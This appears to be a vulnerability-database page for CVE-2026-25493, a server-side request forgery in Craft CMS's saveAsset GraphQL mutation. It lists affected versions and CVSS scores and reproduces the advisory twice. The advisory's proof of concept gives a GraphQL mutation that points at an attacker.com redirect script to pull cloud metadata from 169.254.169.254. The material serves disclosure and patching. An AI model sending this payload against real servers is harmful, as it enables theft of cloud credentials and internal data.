CVE-2026-25493
published 2026-02-09CVE-2026-25493: Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation…
PriorityP338medium6.5CVSS 3.1
AVNACLPRNUINSUCLILAN
EPSS
0.36%
27.7th percentile
Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| craftcms | cms | — | — |
| craftcms | cms | — | — |
| craftcms | cms | >= 4.0.0-RC1 < 4.16.18 | 4.16.18 |
| craftcms | cms | >= 5.0.0-RC1 < 5.8.22 | 5.8.22 |
| craftcms | craft_cms | < 4.16.18 | 4.16.18 |
| craftcms | craft_cms | < 5.8.22 | 5.8.22 |
| craftcms | craft_cms | — | — |
| craftcms | craft_cms | — | — |
CVSS provenance
nvdv3.16.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
nvdv4.06.9MEDIUMCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
osv·2026-02-09
CVE-2026-25493 [MEDIUM] Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
## Summary
The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
---
## Proof of Concept
1. Host a redirect script on your server (e.g. `redirect.php`):
```php
```
2. Send the following GraphQL mutation:
```graphql
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
```
3. The application validates `attacker.com` (passes)
4. Guzzle follows the redirect to `169.254.169.254`
5. Cloud metadata is saved as an asset
---
## Miti
GHSA
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
ghsa·2026-02-09
CVE-2026-25493 [MEDIUM] CWE-918 Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
## Summary
The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
---
## Proof of Concept
1. Host a redirect script on your server (e.g. `redirect.php`):
```php
```
2. Send the following GraphQL mutation:
```graphql
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
```
3. The application validates `attacker.com` (passes)
4. Guzzle follows the redirect to `169.254.169.254`
5. Cloud metadata is saved as an asset
---
## Miti
No detection rules found.
No public exploits indexed.
2026-02-09
Published